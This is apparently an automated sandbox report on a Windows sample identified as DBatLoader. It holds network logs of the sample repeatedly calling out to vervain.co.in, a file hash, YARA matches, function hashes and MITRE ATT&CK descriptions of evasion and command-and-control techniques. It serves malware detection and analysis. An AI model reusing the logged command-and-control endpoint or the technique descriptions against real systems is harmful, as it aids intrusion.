20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.4	49860	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:10:17 UTC	79	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:10:17 UTC	79	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:10:17 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:10:17 UTC	79	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.4	49861	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:10:18 UTC	80	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:10:18 UTC	80	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:10:18 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:10:18 UTC	80	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.4	49863	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:10:19 UTC	81	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:10:20 UTC	81	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:10:20 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:10:20 UTC	81	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.4	49864	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:10:20 UTC	82	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:10:21 UTC	82	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:10:20 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:10:21 UTC	82	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.4	49867	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:10:21 UTC	82	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:10:22 UTC	83	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:10:22 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:10:22 UTC	83	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49764	199.79.62.221	443	C:\Users\user\Desktop\ncIpox4w8f.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-05 13:08:33 UTC	8	OUT	GET /3437E44F6689E610&resi25412545d3437E44F6689E61025874515/Jsibtswtoeethvjdrykaimaovwatvsk HTTP/1.1 User-Agent: lVali Host: vervain.co.in
2022-08-05 13:08:34 UTC	8	IN	HTTP/1.1 404 Not Found Date: Fri, 05 Aug 2022 13:08:33 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 15 Mar 2022 23:01:27 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html
2022-08-05 13:08:34 UTC	9	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin {

Target ID:	0
Start time:	15:08:18
Start date:	05/08/2022
Path:	C:\Users\user\Desktop\ncIpox4w8f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ncIpox4w8f.exe"
Imagebase:	0x400000
File size:	1009664 bytes
MD5 hash:	03FB0F9DF279B56130A63D5330461789
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000000.238770915.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.528757099.0000000002AC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.316597179.000000000540C000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.297908164.0000000005536000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.388263630.000000000571D000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.267479672.0000000005250000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.280613950.0000000005258000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.325641220.000000000532C000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.370720405.0000000005803000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.304401425.000000000532F000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.266317297.0000000005450000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.272943807.0000000004942000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.371769839.00000000058FA000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.516088512.0000000002290000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.377241970.0000000005825000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.345105866.00000000054B9000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.286610095.0000000005061000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.284258980.0000000004F55000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.309310644.0000000005330000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Function 02A0F8C1 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

nJ, xrefs: 02A0F982

Memory Dump Source

Source File: 00000000.00000003.240123178.00000000029C0000.00000004.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_29c0000_ncIpox4w8f.jbxd

Similarity

API ID:
String ID: nJ
API String ID: 0-2303097403
Opcode ID: 7123772bfbe88f6cd9ca112f2d06e1779816ccf4591fe63f875165a48961e36f
Instruction ID: c22ade5a6f6654e2c8e39d7f6ca8a43b827936197fc678d9bec6153b70f8ecfc
Opcode Fuzzy Hash: 7123772bfbe88f6cd9ca112f2d06e1779816ccf4591fe63f875165a48961e36f
Instruction Fuzzy Hash: BD21DC706045149FDB46EF6ADD85A89B3E7EFC8300F9AC4B5A8089B269DA30AD15CE10

Uniqueness

Uniqueness Score: -1.00%

Function 029B8117 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

nJ, xrefs: 029B81D8

Memory Dump Source

Source File: 00000000.00000003.240443204.00000000029B8000.00000004.00001000.00020000.00000000.sdmp, Offset: 029B8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_29b8000_ncIpox4w8f.jbxd

Similarity

API ID:
String ID: nJ
API String ID: 0-2303097403
Opcode ID: 0f2d65c716e71cf820a9723d27ded3a1711acb0bd7f2f5ec86d2a0c05b002af9
Instruction ID: 69da76eaa78af860f2196361520006e75c4b14d0c8f2de907869f2d179f770b8
Opcode Fuzzy Hash: 0f2d65c716e71cf820a9723d27ded3a1711acb0bd7f2f5ec86d2a0c05b002af9
Instruction Fuzzy Hash: 6D21BC307015249FD746EF2AC885A9973E7AFCD700F9980B1ED489B229DE31AF458E14

Uniqueness

Uniqueness Score: -1.00%

Function 029C4F14 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.240123178.00000000029C0000.00000004.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_29c0000_ncIpox4w8f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65b66c92f345fffa25467e340f2f1142f50f090e56c8565d5f2726b3379e2b42
Instruction ID: dbb0ae1e253acc82ed067b28c1ab8de29e060edf5d5c697566f78851d4c0e9f6
Opcode Fuzzy Hash: 65b66c92f345fffa25467e340f2f1142f50f090e56c8565d5f2726b3379e2b42
Instruction Fuzzy Hash: 0631CC1194D7C6ADDB234A3418F52E9BFA2AD4B11879E2AEEC4C08ED13D10580DBD783

Uniqueness

Uniqueness Score: -1.00%

Function 0493CFA4 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.245885235.000000000493C000.00000004.00001000.00020000.00000000.sdmp, Offset: 0493C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_493c000_ncIpox4w8f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe911dfde17e5a8c2b2becbd377eff9d07d96d5dc266c7f46122f9e16f31a060
Instruction ID: 9c48c6ed460de3476f97f1347da0b150fef3a0b465837bcde3f681a0ef6868e7
Opcode Fuzzy Hash: fe911dfde17e5a8c2b2becbd377eff9d07d96d5dc266c7f46122f9e16f31a060
Instruction Fuzzy Hash: 93017579944308BAEB11DF90DD42FADBBFCD789B06F200076BB00E65C0E6746611D758

Uniqueness

Uniqueness Score: -1.00%

Function 029C138F Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.240123178.00000000029C0000.00000004.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_29c0000_ncIpox4w8f.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 124a7005e9b941fda482e93cbd42f179f39c59d58cd903c333e52629c9089ef0
Instruction ID: 2e008f6a2fd1fd9ab3e0f28ec7b88cc4087b8826b034c3dc810454ae5779de42
Opcode Fuzzy Hash: 124a7005e9b941fda482e93cbd42f179f39c59d58cd903c333e52629c9089ef0
Instruction Fuzzy Hash: DAF0C83591C7045B9735CD718446143FBA2BB413087B2DDADC98285D12CF22E253E6C2

Uniqueness

Uniqueness Score: -1.00%

Function 02A0EEA5 Relevance: 31.4, Strings: 25, Instructions: 144COMMON

Download Yara Rule

Strings

0nJ, xrefs: 02A0F083
LnJ, xrefs: 02A0F031
4nJ, xrefs: 02A0F073
,nJ, xrefs: 02A0F08D
<nJ, xrefs: 02A0F059
PnJ, xrefs: 02A0F027
dnJ, xrefs: 02A0EFF5
pnJ, xrefs: 02A0EFD7
nJ, xrefs: 02A0F0AB
TnJ, xrefs: 02A0F01D
HTJ, xrefs: 02A0EEEA
xnJ, xrefs: 02A0EFC3
$nJ, xrefs: 02A0F0A1
XnJ, xrefs: 02A0F013
(nJ, xrefs: 02A0F097
|nJ, xrefs: 02A0EFB9
hnJ, xrefs: 02A0EFEB
`nJ, xrefs: 02A0EFFF
tnJ, xrefs: 02A0EFCD
\nJ, xrefs: 02A0F009
HnJ, xrefs: 02A0F03B
8nJ, xrefs: 02A0F069
@nJ, xrefs: 02A0F04F
lnJ, xrefs: 02A0EFE1
DnJ, xrefs: 02A0F045

Memory Dump Source

Source File: 00000000.00000003.240123178.00000000029C0000.00000004.00001000.00020000.00000000.sdmp, Offset: 029C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_29c0000_ncIpox4w8f.jbxd

Similarity

API ID:
String ID: nJ$$nJ$(nJ$,nJ$0nJ$4nJ$8nJ$<nJ$@nJ$DnJ$HTJ$HnJ$LnJ$PnJ$TnJ$XnJ$\nJ$`nJ$dnJ$hnJ$lnJ$pnJ$tnJ$xnJ$|nJ
API String ID: 0-1763534049
Opcode ID: 088fa785e0b784b3f1263906e3199ca9942c186276c5d0916ace3abc63f51e5b
Instruction ID: 9b7677aedc8245e6336acf350d960a40b5b5082e76d3c83ac016fc8c95b90015
Opcode Fuzzy Hash: 088fa785e0b784b3f1263906e3199ca9942c186276c5d0916ace3abc63f51e5b
Instruction Fuzzy Hash: 21410669B400A1CB57047FEEE40162B2153DBF678179AC4BBA410AB754CB2BDC066F6E

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as Ping or `net view` using Net . Adversaries may also use local host files (ex: `C:\Windows\System32\Drivers\etc\hosts` or `/etc/hosts` ) in order to discover the hostname to IP address mappings of remote systems.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ncIpox4w8f

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Anti Debugging

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Windows Analysis Report
ncIpox4w8f